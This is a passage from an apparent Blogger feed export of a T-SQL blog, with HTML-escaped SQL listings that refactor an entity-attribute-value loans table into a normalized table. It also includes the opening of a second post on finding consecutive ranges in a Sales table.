gray"&gt;)             &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;WHERE &lt;/span&gt;&lt;span style="color: black"&gt;loan_date &lt;/span&gt;&lt;span style="color: gray"&gt;&amp;gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'20080101'             &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;loan_date &lt;/span&gt;&lt;span style="color: gray"&gt;&amp;lt;&amp;#160; &lt;/span&gt;&lt;span style="color: red"&gt;'20080201'             &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount &lt;/span&gt;&lt;span style="color: gray"&gt;&amp;gt; &lt;/span&gt;&lt;span style="color: black"&gt;1000.00             &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;loan_type &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'personal'&lt;/span&gt;&lt;span style="color: gray"&gt;;             &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Here the CASE expressions guarantee that only the correct values will be casted to the specific data type. But then how efficient is this query for such a trivial request?    &lt;br /&gt;&lt;br /&gt;&lt;b&gt;The refactoring process&lt;/b&gt;     &lt;br /&gt;Usually the first step of correcting an EAV design is to create a normalized table for storing the data. In our case the table structure can look like Listing 5 (note that here for clarify the loan type is spelled out as entire word; in real business scenario it may be sufficient to indicate only &lt;strong&gt;P&lt;/strong&gt; or &lt;strong&gt;B&lt;/strong&gt;; alternatively create table to store loan types and reference via a foreign key constraint).&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 5&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;CREATE TABLE &lt;/span&gt;&lt;span style="color: black"&gt;Loans &lt;/span&gt;&lt;span style="color: gray"&gt;(              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;INT &lt;/span&gt;&lt;span style="color: gray"&gt;NOT NULL,              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;INT &lt;/span&gt;&lt;span style="color: gray"&gt;NOT NULL,              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;loan_date &lt;/span&gt;&lt;span style="color: blue"&gt;DATETIME &lt;/span&gt;&lt;span style="color: gray"&gt;NOT NULL,              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount &lt;/span&gt;&lt;span style="color: blue"&gt;DECIMAL&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;15&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;) NOT NULL,              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;loan_type &lt;/span&gt;&lt;span style="color: blue"&gt;VARCHAR&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;10&lt;/span&gt;&lt;span style="color: gray"&gt;) NOT NULL,              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;CONSTRAINT &lt;/span&gt;&lt;span style="color: black"&gt;ck_loan_type              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;CHECK &lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_type &lt;/span&gt;&lt;span style="color: blue"&gt;IN &lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: red"&gt;'personal'&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'business'&lt;/span&gt;&lt;span style="color: gray"&gt;)),              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;CONSTRAINT &lt;/span&gt;&lt;span style="color: black"&gt;pk_loans              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;PRIMARY KEY &lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;));             &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Now each attribute is in separate column with appropriate data type. This guarantees the integrity of the data as well as now we can define constraints to restrict data values (like the CHECK constraint for loan type).    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The next step is to convert and transfer data from the old format to the new table. We already know that a pivoting technique works and can be used here. Here is the query to transfer from EAV to normalized format.&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 6&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color: black"&gt;Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;loan_date&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;loan_type&lt;/span&gt;&lt;span style="color: gray"&gt;)              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;MAX&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: magenta"&gt;CASE &lt;/span&gt;&lt;span style="color: blue"&gt;WHEN &lt;/span&gt;&lt;span style="color: black"&gt;code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'date' &lt;/span&gt;&lt;span style="color: blue"&gt;THEN &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DATETIME&lt;/span&gt;&lt;span style="color: gray"&gt;) &lt;/span&gt;&lt;span style="color: blue"&gt;END&lt;/span&gt;&lt;span style="color: gray"&gt;),              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;MAX&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: magenta"&gt;CASE &lt;/span&gt;&lt;span style="color: blue"&gt;WHEN &lt;/span&gt;&lt;span style="color: black"&gt;code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'amount' &lt;/span&gt;&lt;span style="color: blue"&gt;THEN &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DECIMAL&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;15&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;)) &lt;/span&gt;&lt;span style="color: blue"&gt;END&lt;/span&gt;&lt;span style="color: gray"&gt;),              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;MAX&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: magenta"&gt;CASE &lt;/span&gt;&lt;span style="color: blue"&gt;WHEN &lt;/span&gt;&lt;span style="color: black"&gt;code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'type' &lt;/span&gt;&lt;span style="color: blue"&gt;THEN &lt;/span&gt;&lt;span style="color: black"&gt;value &lt;/span&gt;&lt;span style="color: blue"&gt;END&lt;/span&gt;&lt;span style="color: gray"&gt;)              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;GROUP BY &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;;             &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;The last step in the refactoring process is to replace the old EAV table with view for backward compatibility (if there is code referencing that original table that cannot be changed at this time).&amp;#160; There are different methods to accomplish this. For simplicity here we can use unpivoting using UNION and query for each attribute (note that you have to drop the original EAV table first because the view has the same name).&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 7&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;CREATE VIEW &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;code&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;value&lt;/span&gt;&lt;span style="color: gray"&gt;)              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;AS              &lt;br /&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: red"&gt;'date' &lt;/span&gt;&lt;span style="color: blue"&gt;AS VARCHAR&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;30&lt;/span&gt;&lt;span style="color: gray"&gt;)),              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;CONVERT&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: blue"&gt;VARCHAR&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;200&lt;/span&gt;&lt;span style="color: gray"&gt;), &lt;/span&gt;&lt;span style="color: black"&gt;loan_date&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;112&lt;/span&gt;&lt;span style="color: gray"&gt;)              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;UNION              &lt;br /&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: red"&gt;'amount' &lt;/span&gt;&lt;span style="color: blue"&gt;AS VARCHAR&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;30&lt;/span&gt;&lt;span style="color: gray"&gt;)),              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_amount &lt;/span&gt;&lt;span style="color: blue"&gt;AS VARCHAR&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;200&lt;/span&gt;&lt;span style="color: gray"&gt;))              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;UNION              &lt;br /&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: red"&gt;'type' &lt;/span&gt;&lt;span style="color: blue"&gt;AS VARCHAR&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;30&lt;/span&gt;&lt;span style="color: gray"&gt;)),              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_type &lt;/span&gt;&lt;span style="color: blue"&gt;AS VARCHAR&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;200&lt;/span&gt;&lt;span style="color: gray"&gt;))              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Loans&lt;/span&gt;&lt;span style="color: gray"&gt;;             &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;If there is any old code that references the original EAV table for data modifications you will have to add instead of triggers to the view to handle it.&lt;/p&gt;&lt;p&gt;Now, let’s answer the same data request to retrieve customers with personal loans over 1,000 for the period Jan 1, 2008 through Jan 31, 2008, this time using the normalized table.&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 8&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;loan_date&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;WHERE &lt;/span&gt;&lt;span style="color: black"&gt;loan_date &lt;/span&gt;&lt;span style="color: gray"&gt;&amp;gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'20080101'              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;loan_date &lt;/span&gt;&lt;span style="color: gray"&gt;&amp;lt;&amp;#160; &lt;/span&gt;&lt;span style="color: red"&gt;'20080201'              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount &lt;/span&gt;&lt;span style="color: gray"&gt;&amp;gt; &lt;/span&gt;&lt;span style="color: black"&gt;1000.00              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;loan_type &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'personal'&lt;/span&gt;&lt;span style="color: gray"&gt;;             &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Simple and elegant, just as it should be!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-5028479143415872270?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/5028479143415872270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=5028479143415872270' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/5028479143415872270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/5028479143415872270'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2010/07/refactoring-entity-attribute-value.html' title='Refactoring Entity-Attribute-Value Design'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-7258518491344801971</id><published>2010-02-15T12:12:00.008-05:00</published><updated>2010-07-18T12:08:32.917-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='best practices'/><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='refactoring'/><title type='text'>Refactoring Ranges</title><content type='html'>Refactoring is misunderstood so many times, mostly by developers living by the motto &lt;em&gt;"If it's not broken don't fix it"&lt;/em&gt;. But in most cases this is invalid argument and leads to keeping inefficient and difficult to maintain solutions around. With tools and languages evolving, as well as knowledge about specific technology, there are so many opportunities to improve existing code in a way that will make a huge difference in many aspects. As Sir Winston Churchill said &lt;em&gt;"To improve is to change; to be perfect is to change often"&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;One example of refactoring that can lead to better code is the problem of finding ranges of existing values in SQL. A range (or also known as "island") refers to finding and grouping consecutive values (dates, numbers, etc.) to a row representing the start point and the end point of the range. There are many variations of this problem but in essence the logic always drills down to finding a grouping factor to collapse the values to a range.&lt;br /&gt;&lt;br /&gt;Let's look at one example to illustrate the refactoring process. Given Sales table containing sale transactions our goal is to find:&lt;br /&gt;&lt;br /&gt;1). Consecutive ranges of transaction numbers (transaction numbers that do not have gaps)&lt;br /&gt;&lt;br /&gt;2). Consecutive ranges of sale dates (sale dates with no missing dates in the range)&lt;br /&gt;&lt;br /&gt;These results can be used for variety of reporting and data analysis purposes. Here is how the Sales table looks:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: blue;"&gt;CREATE&amp;nbsp;TABLE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;INT&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;NOT&amp;nbsp;NULL&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;PRIMARY&amp;nbsp;KEY&lt;/span&gt;&lt;span style="color: grey;"&gt;,&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&amp;nbsp;DATE&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;NOT&amp;nbsp;NULL,&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;amount&amp;nbsp;DECIMAL&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;18&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;2&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;NOT&amp;nbsp;NULL);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;INSERT&amp;nbsp;INTO&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;VALUES&amp;nbsp;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;1&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;'20091201'&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;100.00&lt;/span&gt;&lt;span style="color: grey;"&gt;),&lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;3&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;'20091202'&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;15.00&lt;/span&gt;&lt;span style="color: grey;"&gt;),&lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;4&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;'20091203'&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;102.50&lt;/span&gt;&lt;span style="color: grey;"&gt;),&lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;5&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;'20091204'&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;110.00&lt;/span&gt;&lt;span style="color: grey;"&gt;),&lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;6&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;'20091207'&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;98.25&lt;/span&gt;&lt;span style="color: grey;"&gt;),&lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;9&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;'20091208'&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;20.00&lt;/span&gt;&lt;span style="color: grey;"&gt;),&lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;11&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;'20091209'&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;160.00&lt;/span&gt;&lt;span style="color: grey;"&gt;),&lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;12&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;'20091211'&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;250.00&lt;/span&gt;&lt;span style="color: grey;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;amount&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&lt;/span&gt;&lt;span style="color: grey;"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;br /&gt;&lt;br /&gt;transaction_nbr&amp;nbsp;sale_date&amp;nbsp;&amp;nbsp;amount&lt;br /&gt;---------------&amp;nbsp;----------&amp;nbsp;----------&lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2009-12-01&amp;nbsp;100.00&lt;br /&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2009-12-02&amp;nbsp;15.00&lt;br /&gt;4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2009-12-03&amp;nbsp;102.50&lt;br /&gt;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2009-12-04&amp;nbsp;110.00&lt;br /&gt;6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2009-12-07&amp;nbsp;98.25&lt;br /&gt;9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2009-12-08&amp;nbsp;20.00&lt;br 